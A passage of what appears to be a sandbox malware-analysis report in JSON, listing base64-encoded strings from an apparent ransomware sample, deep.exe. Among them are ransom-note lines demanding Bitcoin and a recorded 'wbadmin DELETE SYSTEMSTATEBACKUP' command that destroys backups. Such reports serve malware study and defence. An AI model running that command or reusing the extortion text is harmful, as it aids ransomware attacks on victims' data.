Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U3VwcG9ydGVkTmFtZVNwYWNl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzRnJlZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtQmlvc1ZlcnNpb24=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtU3RhcnRPcHRpb25z","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dDNEIEhMU0wgQ29tcGlsZXI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VEFSR0VUTk9ERQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGVtcFdtaWNCYXRjaEZpbGUuYmF0","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGVybWluYXRlUHJvY2Vzcw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VGhlIGNvbW1hbmQgY29tcGxldGVkIHN1Y2Nlc3NmdWxseS4=","type":"Ansi","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhlbWVBcGlDb25uZWN0aW9uUmVxdWVzdA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhpcyBlbWFpbCB3aWxsIGJlIGFzIGNvbmZpcm1hdGlvbiB5b3UgYXJlIHJlYWR5IHRvIHBheSBmb3IgZGVjcnlwdGlvbiBrZXku","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"VFNBcHBDb21wYXQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dmFsdWFibGUgaW5mb3JtYXRpb24gKGRhdGFiYXNlcywgYmFja3VwcywgbGFyZ2UgZXhjZWwgc2hlZXRzLCBldGMuKS4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VmFyaWFudENoYW5nZVR5cGUoLSwgLSwgMCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"dmljZXM6OkV4ZWNRdWVyeShMIldRTCIsIEwiJXMiLCAwLCBOVUxMLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"VmlkZW9CaW9zVmVyc2lvbg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VlpUflBkOiF9Lk0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V2FybkFsd2F5c09uUG9zdA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uSFRUUFNUb0hUVFBSZWRpcmVjdA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uUG9zdA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uUG9zdFJlZGlyZWN0","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"d2JhZG1pbiAgREVMRVRFIFNZU1RFTVNUQVRFQkFDS1VQIC1rZWVwVmVyc2lvbnM6MA==","type":"Ansi","source":"Process Commandline","process":null,"filename":"wbadmin.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2luMzJFcnJvcg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V2luU29ja19SZWdpc3RyeV9WZXJzaW9u","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V01JQy5leGU=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V01JQy5wZGI=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V3BhZFNlYXJjaEFsbERvbWFpbnM=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"d3d3d3d3d3d3d3NC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d3d3d3d3d3d3d3d3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WW91IGhhdmUgdG8gcGF5IGZvciBkZWNyeXB0aW9uIGluIEJpdGNvaW5zLiBUaGUgcHJpY2UgZGVwZW5kcyBvbiBob3cgZmFzdCB5b3Ugd3JpdGUgdG8gdXMu","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"$34","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"ezAzMUU0ODI1LTdCOTQtNERDMy1CMTMxLUU5NDZCNDRDOERENX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezA0NzMxQjY3LUQ5MzMtNDUwQS05MEU2LTRBQ0QyRTk0MDhGRX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezA4NzVEQ0I2LUM2ODYtNDI0My05NDMyLUFEQ0NGMEI5RjJEN30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezExMDE2MTAxLUUzNjYtNEQyMi1CQzA2LTRBREEzMzVDODkyQn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezEzODUwOEJDLTFFMDMtNDlFQS05QzhGLUVBOUUxRDA1RDY1RH0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezFCM0VBNURDLUI1ODctNDc4Ni1CNEVGLUJEMURDMzMyQUVBRX0=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezIwRDA0RkUwLTNBRUEtMTA2OS1BMkQ4LTA4MDAyQjMwMzA5RH0=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezQzMzZBNTRELTAzOEItNDY4NS1BQjAyLTk5QkI1MkQzRkI4Qn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezQ1MEQ4RkJBLUFEMjUtMTFEMC05OEE4LTA4MDAzNjFCMTEwM30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezU5MDMxQTQ3LTNGNzItNDRBNy04OUM1LTU1OTVGRTZCMzBFRX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezg5RDgzNTc2LTZCRDEtNEM4Ni05NDU0LUJFQjA0RTk0QzgxOX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezhGRDhCODhELTMwRTEtNEYyNS1BQzJCLTU1M0QzRDY1RjBFQX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezkzNDM4MTJFLTFDMzctNEE0OS1BMTJFLTRCMkQ4MTBEOTU2Qn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezk4RDk5NzUwLTBCOEEtNEM1OS05MTUxLTU4OTA1MzY4M0Q3M30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0I0RkIzRjk4LUMxRUEtNDI4RC1BNzhBLUQxRjU2NTlDQkE5M30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0JEN0EyRTdCLTIxQ0ItNDFCMi1BMDg2LUIzMDk2ODBDNkI3RX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0RBRjk1MzEzLUU0NEQtNDZBRi1CRTFCLUNCQUNFQTJDMzA2NX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0UzNDVGMzVGLTkzOTctNDM1Qy04Rjk1LTRFOTIyQzI2MjU5RX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0VEMjI4RkRGLTlFQTgtNDg3MC04M0IxLTk2QjAyQ0ZFMEQ1Mn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e21kcnhIXFtc","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fihHXFhlXUp7Mw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fnJXcDEteygh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null}],"targets":[{"name":"deep.exe.bin","strings":[{"value":"ISRPbFkiLXlRZn5BY2Ey","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ISddTlhONmk4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ITY0NyFlU14j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IUZXdjppWT4/KA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IWhJajhJLk9f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IWhRPyNAaUs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IXpUaypobFYq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IjYpV2o1V0B4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ij58PzlnXlkhTEo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IkchJ0cjZyAp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IktpWUM5ZEAl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"InVccFpVXiFhMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ilh8eSh4J1E=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I0NtOCJkP3kt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I2RtX2MuPXYqLixS","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I3ZqTjRuazw0TUpH","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I1ZUMTpCZnc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"I1l1Pm49XC5ZPg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JDJaNkFMZlRgOjFI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JF54d3xPJllmOQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JFA7JGxFPyR8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JHFVbVphPjhl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JFc9TXgwcydqdg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JSVlUlchckc+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JThGUTpmS2dC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JWNMZHRkLTBy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JWUuUGgvXCAiWQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JVVxRVF2UyNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JlF2JTw0XDk9Sw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Jlc5MWMpJCw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JlogQ2xjRjxt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JlpUR1Ezeixp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J2NSIVlsbVVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J0QmbWdbSXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J0Q1ZVBRPEg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J0lgISJEcU0uYA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"J1JkQyZ6US9Z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KC9qZ0ZROlkm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KGFYJWBoJCVg","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KEw3Jy1LZGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHE9L0hwQVJp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHNjWmR8YnZx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHRsdGB4VEpY","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KSAwVjMyaDAmeg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KSJDY3dlLiAs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KSZ5b2ZES05J","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KT0rXk8tflc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KV9wMDh9c3VP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KUtNYGZBXGE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KX1FMldvcCRY","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KkBhbTR2RXFv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KmImVyZFX35i","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"KycjXSdAOjkq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Kz0zNHA+YG1K","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Kz9RJllbaFBx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"K1RrV0w+Ryk5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"K3glT18wfEQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LCFIeE5edURz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LCsiPCRNOjAp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LD1XIEAjITs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LFtgc1ooQS0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LHFycGJ5NFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LHUzTWx0Xmo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LSFAXTVDeW1f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LSNBfj49d25m","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LTBYX2soeilk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LUQ3PFkpWExOIlo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LVlWXXlsLEht","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LjZsfic7PD8w","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LjdPLlhUTi5L","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LklhbnVAel1D","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LlM2OylNNzc7NHs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Llo8YH1idl8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ly14YUR5KHZj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L183Zk1zb2ZFPA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L183ZnRzb2ZFPA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L18+fU1rfGFqLA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L1NbellRWVZe","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L35KPXNzYVBK","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MCdmcHswTnFx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MEl2SzxGQT05LQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MFV5flFuLTI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MHhybCFsclRwJw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MSZ1VF4rYS4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MUBcOURVIjlQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MUhvZjI1Ijoo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MjBxfmNhKDtjZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MmlPIWkzbHFV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MlJ9bCl4MUg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MyB9bn5iY2gz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MywkMSwkMywkXA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"M2cgU0Z4ZFtn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"M1peIFJmPkhQXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NCtxYFxKXjkj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NDIpbV4qPzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NDdnYnxEKSo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NGA7bD5BYHZwcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NFgmK2hIMGhcVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NTpfIyJON2VV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NWRXPjomdSw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NXcnVmQlfU1ybQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NjJIfSI5VnlYXn5bVg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NnYvY29QKlRV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NyJlWm08MzptdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NyVcdWJgYV9cbGc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NzIhQSQzTWJFPw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NzxnPip1eVsh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N1w3JW48RXlv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N2BXNCpKcT8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N05NV3ZrZ0BS","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N3M4IHxMTlI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N3tHNDEpSC0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OCUiYFhaPkEx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OCg6ZTA7PEBP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OCxceEVhVT4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ODRSeHYwUE9Iaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OEJ8Zjg2dSRaPQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OGVZcSl9flM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OG1RMHJBXSM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OSBodnNrcSFP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OS4yOS45NTIuMzExMQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OV46MyhvXXVM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OV9xJTYjJltTOTM=","type":"Ansi","source":"Memory/File 